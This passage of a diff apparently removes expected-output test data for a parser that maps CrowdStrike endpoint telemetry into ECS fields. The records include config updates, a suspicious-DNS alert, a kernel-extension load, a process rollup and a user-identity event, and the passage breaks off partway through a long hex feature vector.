-                "original": "{\"ConfigBuild\":\"1007.8.0011611.1\",\"event_simpleName\":\"ConfigStateUpdate\",\"event_platform\":\"Lin\",\"ConfigStateHash\":\"1156120155\",\"ConfigStateData\":\"0,0,1007.8.0011611.1|1,c,0|1,22,6|1,59,2d|2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205|\",\"name\":\"ConfigStateUpdateLinV2\",\"aip\":\"67.43.156.14\",\"id\":\"ffffffff-1111-11eb-af89-06c111484f9f\",\"aid\":\"ffffffffa74a4c89b9984a3a7124bb9d\",\"timestamp\":\"1625677490580\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "ffffffffa74a4c89b9984a3a7124bb9d",
-                "os": {
-                    "type": "linux"
-                }
-            },
-            "message": "ConfigStateUpdate",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffffa74a4c89b9984a3a7124bb9d",
-                "version": "1007.8.0011611.1"
-            },
-            "related": {
-                "hash": [
-                    "1156120155"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:04:53.756Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3090255842",
-                "ContextProcessId": "364839648316192383",
-                "ContextTimeStamp": "2021-07-07T17:04:53.531Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-a4a3-02cbdfb8f529",
-                "name": "SuspiciousDnsRequestMacV1"
-            },
-            "device": {
-                "id": "ffffffff0cd64fb78626ab1b6c65ac8c"
-            },
-            "dns": {
-                "question": {
-                    "name": "hg-t2.dotice.me",
-                    "registered_domain": "dotice.me",
-                    "subdomain": "hg-t2",
-                    "top_level_domain": "me",
-                    "type": "A"
-                },
-                "type": "query"
-            },
-            "event": {
-                "action": "SuspiciousDnsRequest",
-                "category": [
-                    "network"
-                ],
-                "created": "2021-07-07T17:04:53.756Z",
-                "id": "ffffffff-1111-11eb-a4a3-02cbdfb8f529|ffffffff0cd64fb78626ab1b6c65ac8c|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "alert",
-                "original": "{\"event_simpleName\":\"SuspiciousDnsRequest\",\"ContextTimeStamp\":\"1625677493.531\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"364839648316192383\",\"DomainName\":\"hg-t2.dotice.me\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"SuspiciousDnsRequestMacV1\",\"id\":\"ffffffff-1111-11eb-a4a3-02cbdfb8f529\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff0cd64fb78626ab1b6c65ac8c\",\"timestamp\":\"1625677493756\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"RequestType\":\"1\"}",
-                "outcome": "success",
-                "type": [
-                    "start",
-                    "protocol"
-                ]
-            },
-            "host": {
-                "id": "ffffffff0cd64fb78626ab1b6c65ac8c",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "SuspiciousDnsRequest",
-            "network": {
-                "protocol": "dns"
-            },
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff0cd64fb78626ab1b6c65ac8c",
-                "version": "1007.4.0013701.1"
-            },
-            "process": {
-                "entity_id": "364839648316192383",
-                "thread": {
-                    "id": 0
-                }
-            },
-            "related": {
-                "hash": [
-                    "3090255842"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:05:30.922Z",
-            "crowdstrike": {
-                "ConfigStateHash": "1156120155",
-                "ErrorStatus": "3759276032",
-                "Facility": "16778240",
-                "File": "0",
-                "Line": "96",
-                "Parameter1": "18446744072635810412",
-                "Parameter2": "0",
-                "Parameter3": "0",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-bdd3-0681aa29cecb",
-                "name": "ErrorEventLinV1"
-            },
-            "device": {
-                "id": "ffffffffabd047b1a86c1fcd8ef22b59"
-            },
-            "event": {
-                "action": "ErrorEvent",
-                "category": [
-                    "package"
-                ],
-                "created": "2021-07-07T17:05:30.922Z",
-                "id": "ffffffff-1111-11eb-bdd3-0681aa29cecb|ffffffffabd047b1a86c1fcd8ef22b59|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"Parameter2\":\"0\",\"event_simpleName\":\"ErrorEvent\",\"Parameter1\":\"18446744072635810412\",\"Parameter3\":\"0\",\"ConfigStateHash\":\"1156120155\",\"aip\":\"67.43.156.14\",\"Line\":\"96\",\"ConfigBuild\":\"1007.8.0011611.1\",\"event_platform\":\"Lin\",\"ErrorStatus\":\"3759276032\",\"name\":\"ErrorEventLinV1\",\"id\":\"ffffffff-1111-11eb-bdd3-0681aa29cecb\",\"Facility\":\"16778240\",\"aid\":\"ffffffffabd047b1a86c1fcd8ef22b59\",\"File\":\"0\",\"timestamp\":\"1625677530922\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "failure",
-                "type": [
-                    "info"
-                ]
-            },
-            "host": {
-                "id": "ffffffffabd047b1a86c1fcd8ef22b59",
-                "os": {
-                    "type": "linux"
-                }
-            },
-            "message": "ErrorEvent",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffffabd047b1a86c1fcd8ef22b59",
-                "version": "1007.8.0011611.1"
-            },
-            "related": {
-                "hash": [
-                    "1156120155"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:05:30.590Z",
-            "crowdstrike": {
-                "ConfigStateData": [
-                    "0,0,1007.4.0013701.1",
-                    "1,2,1",
-                    "1,4,a",
-                    "1,6,0",
-                    "1,8,46",
-                    "1,a,1",
-                    "1,c,0",
-                    "1,17,1f",
-                    "1,18,18",
-                    "1,19,0",
-                    "1,1e,407",
-                    "1,21,3d2",
-                    "1,27,1",
-                    "1,53,18b",
-                    "1,56,0",
-                    "1,d0,16d",
-                    "1,d1,0",
-                    "1,d2,0",
-                    "1,df,4c",
-                    "1,e0,6",
-                    "1,f6,1",
-                    "1,1f5,1",
-                    "1,1f7,1",
-                    "1,1fd,1",
-                    "1,200,0",
-                    "2,0,138,a8000000032,140000000085,140000000153,18000000004c,18000000004f,180000000050,180000000051,180000000054,1800000000e1,1800000000e7,180000000144,18000000014e,18000000015a,18000000020e,180000000226,180000000227,180400000079,18040000009b,18040000009c,1804000000ff,180400000117,180400000118,180400000142,180400000163,180400000164,180400000166,180400000167,1804000001b2,1804000001f2,1804000001f3,180400000225,1804000002be,1804000002bf,1804000002ca,1804000002cb,1808000000c9,1808000000ee,1808000000fc,1808000000fd,1808000000fe,180c0000016b,180c0000016c,180c0000016d,180c0000016e,180c0000016f,180c00000170,180c000001b6,180c000001b7,180c000001b8,180c000001b9,180c000001f6,180c000001f7,180c000001f8,180c000002c2,180c000002c3,180c000002c4,180c000002ce,180c000002cf,180c000002d0,18100000011e,18100000011f,181000000120,181000000121,181000000122,181000000123,181000000124,181000000125,181000000126,181000000128,181000000169,18100000016a,181000000180,1810000001b1,1810000001c3,18100000021f,181000000220,18100000024e,18100000025b,181000000280,1810000002ad,1810000002d6,1810000002d7,1810000002f3,1c04000000a1,1c04000000a2,1c04000000a3,1c04000000a4,1c04000000a5,1c04000000a6,1c040000011a,1c040000011b,1c040000011c,1c0400000268,1c0400000269,1c040000026a,1c040000026c,1c040000026d,1c040000026e,1c0400000271,1c0400000272,1c0400000273,1c0400000275,1c0400000276,1c0400000277,1c040000028f,1c0400000290,1c0400000291,1c0400000293,1c0400000294,1c0400000295,1c0400000297,1c0400000298,1c0400000299,1c040000029b,1c040000029c,1c040000029d,1c040000029f,1c04000002a0",
-                    "3,0,65"
-                ],
-                "ConfigStateHash": "3090255842",
-                "EffectiveTransmissionClass": "0",
-                "Entitlements": "15",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-8dc4-0234c12f9875",
-                "name": "ConfigStateUpdateMacV2"
-            },
-            "device": {
-                "id": "ffffffffa15a452190ae454f7d33e07e"
-            },
-            "event": {
-                "action": "ConfigStateUpdate",
-                "category": [
-                    "configuration"
-                ],
-                "created": "2021-07-07T17:05:30.590Z",
-                "id": "ffffffff-1111-11eb-8dc4-0234c12f9875|ffffffffa15a452190ae454f7d33e07e|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"ConfigStateUpdate\",\"ConfigStateHash\":\"3090255842\",\"ConfigStateData\":\"0,0,1007.4.0013701.1|1,2,1|1,4,a|1,6,0|1,8,46|1,a,1|1,c,0|1,17,1f|1,18,18|1,19,0|1,1e,407|1,21,3d2|1,27,1|1,53,18b|1,56,0|1,d0,16d|1,d1,0|1,d2,0|1,df,4c|1,e0,6|1,f6,1|1,1f5,1|1,1f7,1|1,1fd,1|1,200,0|2,0,138,a8000000032,140000000085,140000000153,18000000004c,18000000004f,180000000050,180000000051,180000000054,1800000000e1,1800000000e7,180000000144,18000000014e,18000000015a,18000000020e,180000000226,180000000227,180400000079,18040000009b,18040000009c,1804000000ff,180400000117,180400000118,180400000142,180400000163,180400000164,180400000166,180400000167,1804000001b2,1804000001f2,1804000001f3,180400000225,1804000002be,1804000002bf,1804000002ca,1804000002cb,1808000000c9,1808000000ee,1808000000fc,1808000000fd,1808000000fe,180c0000016b,180c0000016c,180c0000016d,180c0000016e,180c0000016f,180c00000170,180c000001b6,180c000001b7,180c000001b8,180c000001b9,180c000001f6,180c000001f7,180c000001f8,180c000002c2,180c000002c3,180c000002c4,180c000002ce,180c000002cf,180c000002d0,18100000011e,18100000011f,181000000120,181000000121,181000000122,181000000123,181000000124,181000000125,181000000126,181000000128,181000000169,18100000016a,181000000180,1810000001b1,1810000001c3,18100000021f,181000000220,18100000024e,18100000025b,181000000280,1810000002ad,1810000002d6,1810000002d7,1810000002f3,1c04000000a1,1c04000000a2,1c04000000a3,1c04000000a4,1c04000000a5,1c04000000a6,1c040000011a,1c040000011b,1c040000011c,1c0400000268,1c0400000269,1c040000026a,1c040000026c,1c040000026d,1c040000026e,1c0400000271,1c0400000272,1c0400000273,1c0400000275,1c0400000276,1c0400000277,1c040000028f,1c0400000290,1c0400000291,1c0400000293,1c0400000294,1c0400000295,1c0400000297,1c0400000298,1c0400000299,1c040000029b,1c040000029c,1c040000029d,1c040000029f,1c04000002a0|3,0,65|\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"ConfigStateUpdateMacV2\",\"id\":\"ffffffff-1111-11eb-8dc4-0234c12f9875\",\"EffectiveTransmissionClass\":\"0\",\"aid\":\"ffffffffa15a452190ae454f7d33e07e\",\"timestamp\":\"1625677530590\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "ffffffffa15a452190ae454f7d33e07e",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "ConfigStateUpdate",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffffa15a452190ae454f7d33e07e",
-                "version": "1007.4.0013701.1"
-            },
-            "related": {
-                "hash": [
-                    "3090255842"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:05:09.069Z",
-            "crowdstrike": {
-                "BundleID": "com.apple.driver.AudioAUUC",
-                "ConfigStateHash": "1620585913",
-                "ContextProcessId": "364867547408058681",
-                "ContextTimeStamp": "2021-07-07T17:05:09.064Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-a2ae-028f6bf89be7",
-                "name": "KextLoadMacV1"
-            },
-            "device": {
-                "id": "ffffffffaa0e47a1b009aef151d6179d"
-            },
-            "event": {
-                "action": "load",
-                "category": [
-                    "driver"
-                ],
-                "created": "2021-07-07T17:05:09.069Z",
-                "id": "ffffffff-1111-11eb-a2ae-028f6bf89be7|ffffffffaa0e47a1b009aef151d6179d|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"KextLoad\",\"ContextTimeStamp\":\"1625677509.064\",\"ConfigStateHash\":\"1620585913\",\"ContextProcessId\":\"364867547408058681\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"BundleID\":\"com.apple.driver.AudioAUUC\",\"Entitlements\":\"15\",\"name\":\"KextLoadMacV1\",\"id\":\"ffffffff-1111-11eb-a2ae-028f6bf89be7\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffffaa0e47a1b009aef151d6179d\",\"timestamp\":\"1625677509069\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "success",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "id": "ffffffffaa0e47a1b009aef151d6179d",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "KextLoad",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffffaa0e47a1b009aef151d6179d",
-                "version": "1007.4.0013701.1"
-            },
-            "process": {
-                "entity_id": "364867547408058681",
-                "thread": {
-                    "id": 0
-                }
-            },
-            "related": {
-                "hash": [
-                    "1620585913"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:05:07.901Z",
-            "crowdstrike": {
-                "ChannelId": "20",
-                "ChannelVersion": "25",
-                "ChannelVersionRequired": "0",
-                "ConfigStateHash": "3155796140",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-b411-06baeacb7a63",
-                "name": "ChannelVersionRequiredLinV1"
-            },
-            "device": {
-                "id": "ffffffff67d54f7daf3d998ffc74d48e"
-            },
-            "event": {
-                "action": "ChannelVersionRequired",
-                "created": "2021-07-07T17:05:07.901Z",
-                "id": "ffffffff-1111-11eb-b411-06baeacb7a63|ffffffff67d54f7daf3d998ffc74d48e|ffffffff15754bcfb5f9152ec7ac90ac",
-                "original": "{\"ChannelVersion\":\"25\",\"event_simpleName\":\"ChannelVersionRequired\",\"ConfigStateHash\":\"3155796140\",\"aip\":\"67.43.156.14\",\"ChannelVersionRequired\":\"0\",\"ChannelId\":\"20\",\"ConfigBuild\":\"1007.8.0011110.1\",\"event_platform\":\"Lin\",\"name\":\"ChannelVersionRequiredLinV1\",\"id\":\"ffffffff-1111-11eb-b411-06baeacb7a63\",\"aid\":\"ffffffff67d54f7daf3d998ffc74d48e\",\"timestamp\":\"1625677507901\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}"
-            },
-            "host": {
-                "id": "ffffffff67d54f7daf3d998ffc74d48e",
-                "os": {
-                    "type": "linux"
-                }
-            },
-            "message": "ChannelVersionRequired",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff67d54f7daf3d998ffc74d48e",
-                "version": "1007.8.0011110.1"
-            },
-            "related": {
-                "hash": [
-                    "3155796140"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:05:11.754Z",
-            "crowdstrike": {
-                "BoundedCount": 57,
-                "ConfigStateHash": "2037712541",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "ProcessCount": 60,
-                "SHA256HashData": "64e48365207d0c19008ba7d53d75c0de3fcd5a1590e4c40fc69c677663fedc20",
-                "SuppressType": "3",
-                "Timeout": 60,
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-b34e-063f4cefccb3",
-                "name": "ProcessRollup2StatsLinV3"
-            },
-            "device": {
-                "id": "ffffffffe22549479fbe8293b6747a68"
-            },
-            "event": {
-                "action": "ProcessRollup2Stats",
-                "category": [
-                    "process"
-                ],
-                "created": "2021-07-07T17:05:11.754Z",
-                "id": "ffffffff-1111-11eb-b34e-063f4cefccb3|ffffffffe22549479fbe8293b6747a68|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "state",
-                "original": "{\"event_simpleName\":\"ProcessRollup2Stats\",\"ConfigStateHash\":\"2037712541\",\"Timeout\":\"60\",\"ParentProcessId\":\"0\",\"aip\":\"67.43.156.14\",\"SuppressType\":\"3\",\"SHA256HashData\":\"64e48365207d0c19008ba7d53d75c0de3fcd5a1590e4c40fc69c677663fedc20\",\"ProcessCount\":\"60\",\"BoundedCount\":\"57\",\"ConfigBuild\":\"1007.8.0011308.1\",\"UID\":\"115\",\"event_platform\":\"Lin\",\"CommandLine\":\"sh -c \\\"/usr/lib/erlang/erts-11.1.3/bin/epmd\\\" -daemon\",\"Entitlements\":\"15\",\"name\":\"ProcessRollup2StatsLinV3\",\"id\":\"ffffffff-1111-11eb-b34e-063f4cefccb3\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffffe22549479fbe8293b6747a68\",\"timestamp\":\"1625677511754\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "unknown",
-                "type": [
-                    "info"
-                ]
-            },
-            "host": {
-                "id": "ffffffffe22549479fbe8293b6747a68",
-                "os": {
-                    "type": "linux"
-                }
-            },
-            "message": "ProcessRollup2Stats",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffffe22549479fbe8293b6747a68",
-                "version": "1007.8.0011308.1"
-            },
-            "process": {
-                "args": [
-                    "sh",
-                    "-c",
-                    "/usr/lib/erlang/erts-11.1.3/bin/epmd",
-                    "-daemon"
-                ],
-                "args_count": 4,
-                "command_line": "sh -c \"/usr/lib/erlang/erts-11.1.3/bin/epmd\" -daemon",
-                "hash": {
-                    "sha256": "64e48365207d0c19008ba7d53d75c0de3fcd5a1590e4c40fc69c677663fedc20"
-                },
-                "parent": {
-                    "entity_id": "0"
-                }
-            },
-            "related": {
-                "hash": [
-                    "64e48365207d0c19008ba7d53d75c0de3fcd5a1590e4c40fc69c677663fedc20",
-                    "2037712541"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "user": [
-                    "115"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "id": "115"
-            }
-        },
-        {
-            "@timestamp": "2021-07-07T17:04:38.122Z",
-            "crowdstrike": {
-                "AuthenticationId": "265",
-                "AuthenticationUuid": "FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109",
-                "AuthenticationUuidAsString": "FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109",
-                "ConfigStateHash": "3967242894",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "LoginSessionId": "1138166333440",
-                "UserSid": "S-1-5-21-3852557355-3178143607-2040168074-1530",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-9dc2-029257dbe83b",
-                "name": "UserIdentityMacV4"
-            },
-            "device": {
-                "id": "ffffffff44564c2f8d76394cb25c31ab"
-            },
-            "event": {
-                "action": "UserIdentity",
-                "category": [
-                    "authentication",
-                    "iam"
-                ],
-                "created": "2021-07-07T17:04:38.122Z",
-                "id": "ffffffff-1111-11eb-9dc2-029257dbe83b|ffffffff44564c2f8d76394cb25c31ab|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"UserIdentity\",\"LoginSessionId\":\"1138166333440\",\"AuthenticationUuidAsString\":\"FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109\",\"UserName\":\"user1\",\"ConfigStateHash\":\"3967242894\",\"aip\":\"67.43.156.13\",\"AuthenticationId\":\"265\",\"UserPrincipal\":\"user1@dom1\",\"UserSid\":\"S-1-5-21-3852557355-3178143607-2040168074-1530\",\"ConfigBuild\":\"1007.4.0013701.1\",\"UID\":\"265\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"UserIdentityMacV4\",\"id\":\"ffffffff-1111-11eb-9dc2-029257dbe83b\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff44564c2f8d76394cb25c31ab\",\"AuthenticationUuid\":\"FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109\",\"timestamp\":\"1625677478122\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "success",
-                "type": [
-                    "info",
-                    "user"
-                ]
-            },
-            "host": {
-                "id": "ffffffff44564c2f8d76394cb25c31ab",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "UserIdentity",
-            "observer": {
-                "address": [
-                    "67.43.156.13"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "serial_number": "ffffffff44564c2f8d76394cb25c31ab",
-                "version": "1007.4.0013701.1"
-            },
-            "related": {
-                "hash": [
-                    "3967242894"
-                ],
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "user": [
-                    "user1",
-                    "user1@dom1",
-                    "265"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "domain": "dom1",
-                "email": "user1@dom1",
-                "full_name": "user1",
-                "id": "265",
-                "name": "user1"
-            }
-        },
-        {
-            "@timestamp": "2021-07-07T17:04:49.052Z",
-            "crowdstrike": {
-                "ConfigStateHash": "1620585913",
-                "EffectiveTransmissionClass": "1",
-                "Entitlements": "15",
-                "FXFileSize": "502032",
-                "FeatureExtractionVersion": "2",
-                "FeatureVector": "000000527b2276223a22312e30222c226e223a352c226c223a3235362c2265223a7b2261223a5b31363737373232332c31363737373232332c31363737373232332c31363737373232332c31363737373232335d7d7d3f48793e3f6837b53f276c8b3ef8d4fe3f036e2f3fdb404f3e361134404d8c7e3df27bb33ef837b53faa57a83e752546402e6b513eb8e2193f5e63203e1446743f295e9e401fb7e93fe010623f90be0e3f6f837b3e7333333f3951833f33afb83e3f62b73e1893753f1b851f3ea752543e9333333ed446743f045a1d40889ba64065d2f2ad9a1b883f573eab3dd773193ed254613f3f3b643eedab9f3f579a6b4082b5dd3f92d42c3e8809d54040fcf83f90a71e40d717593e832ca53e19e83e3b4b295f3f64c2f83f8a9d1f3f27fcb93f088ce73e7333333de944673e81d7dc3f2db22d3e90cb293e2ca57a3e22b6ae3e843fe63f44fdf43f0573eb3ecbc6a83c648e8a3ceb1c433d16c6153c0d4fdf3d0529353e08ce703c2d81ae3f0809d53b69a2c63b7b43d93ded91683ba90cd43e2f9db23b6e28673d646499bb84406c3c0bd6623ea809d53edfb15b3dcc73acbc188d2a3c20cae63d390eaa3d148fda398cfb263b872b023d4d2b2c3a19c60fbc58ec963af9b13139f75bed3f687fcc3f105bc0ae9de3cf3cfb15b53a5dcccfbc2398203c9f40a3ba91e2153d0ec95c3f7e00d23dd048173c13b7d83f3404ea3ef06f69400392643c4dc8753b1f9485bb875d573cdebd903e1a9fbe3be83a113b1528f23c9279143c40053e3b62089e3d06ec183d16e58aba9c7ffe3b30c0273c3cbe623cc9eecc3b1e55c1ba25558f35192b55bcba493d357b1f123422c77e35700fd4349540073385f5c53562b199363180c1bbb5f5f133702cb134553ec134453f1234dfedcabba8e2e3bc4df26734da8f6636e51c133592f7ea34116278be173eabbc11ea79bbb3d4ae3574e4c733a4bbc53046530d34fd74ee330432f8bcf212d7bbaf3e47bc46690534a8a19335420670af1ab38734cdff54338e0e59bd23ad1934a8bd10bd2bb44e3433be90390220d73590265c3481ec3abb7701543b3e1eb437841ede333ede4c31d582ecbc195ee13510b6ab35ab6563b85ae696bcc582563510d9083490265c319cda2abc8327673428415ebba593a3347763df2f713b9cbd14a4d33486ea69bca3ec033d58ec963dc523f63dba7daa3cab9f563d5c67e03e8425af3cdaf8df3f47381d3bab606b3d174e663e6b1c433c4710cb3f04d0143c9691a73e0a233a3bde2ac33d0240b83ee339c13f139c0f3e2fec573df34d6a3d00e6b03df1a9fc3d9fb3fa3b6629953c4100e73d89fe873c0811b23d2d2dcb3ce5de163d0a1dfc3fac816f3f5096bc2e0d65af3df559b43b38ae323cf6555c3d93c3613d78a0903de872b03eb439583e27ef9e3c1689443f7c8b443eb06f694010ce703cff822c3c2d81ae3b0e68e43db5e2043e6b367a3d355ef23d1b089a3c5898b33bd373b03c41d29e3decbfb13d8a0e413bd9dfdb3c2dab9f3d1fddec3dcdd2f23cd10f523ce9ccb83f4b2fec3f7119ce3f276c8b3ee831273f036e2f3fe58adb3e361134404d8c7e3df972473ef837b53faab3683e7f1412402f34d73eb8e2193f62339c3e1446743f2041894013e0df3fe010623f90be0e3f6f837b3e7333333f449ba63f30a3d73e3f62b73e1893753f1b851f3ee240b83e9333333ed446743f03d07d40889ba64065d2f2ad8f49d23f4fd8ae3dd14e3c3edde69b3f3e147b3ee5bc023f579a6b409780343f92d42c3e8809d540435f703f90a71e40d717593e832ca53e19b3d03cc13fd13f6374bc3f8a9d1f3f27fcb93f1cd35b3e7333333de388663e884b5e3f29999a3e90cb293e2305533e2147ae3e843fe63f4d013b3f056d5d3ebe28243c6703b03cf084623d14a4d33c093b7e3d05a7093e087fcc3c304ab63f08c7e33b6ad0c43b8893b83dec22683ba8e2e33e2c56d63b6cd8dc3d637de9bb849cb23c08e79b3ea6dc5d3ee00d1b3dcb923abc1fd36f3c1cf56f3d385c683d134acb398c098e3b872b023d4e075f3a108bd4bc564d7f3b029cfe399cd0863f6958103f10b780ae9e16793cf601793a58523cbc231e7e3c9eecc0ba8398a63d0fba883f7d63883dd254613c14c4483f349ba63ef0b0f24003aa263c49afe23b23d70abb875d573cde3fbc3e1a9fbe3bebcc6c3b19d0203c92641b3c402f303b62d1f23d0366513d1797ccba9f40a33b32c83f3c39a1773ccfe9b83b2276b8ba786f1235192b55bcb890d63573a8ab34a531f734c11ccb3495400732a151a8369df96936179953bbbc1f00340207b734553ec134b523e7352bd356bba8e2e3bc4df26733a7cdeb36e51c1335421b0e3515c299be173eabbc11e647bbb3d4ae328448f533aa5c213046530d357f25dd330432f8bcf290acbbae9ee4bc4669053496f7d534ede333af1ab38733a03ec7346522f2bd23ad19353fd9cfbd2bb44e3392336039250bbe34bb34f73618f0ecbb7701543c50e560356884d0330f9fab31d582ecbc19f5e03510b6ab34e35d66b85ac660bcc582563510d9083490265c3399a707bc84a0e43474d02abba593a3342f209630b98ae7bd11fb4033605e7dbc9e59f33d5f11733dc922533db943183ca5a46a3d5b42463e83bcd33cdd2f1b3f47fcb93bae3a3b3d1ceaf23e6978d53c4836653f03a29c3c9afe1e3e096bba3bde76423cfd4bf13ee1e4f73f1418933e2ee6323df1a9fc3cfe1da83df0d8453d9e7ea63b69f6a93c4083123d8a7c5b3c0266773d2e147b3ce978d53d08ce703facf41f3f510cb32e0d9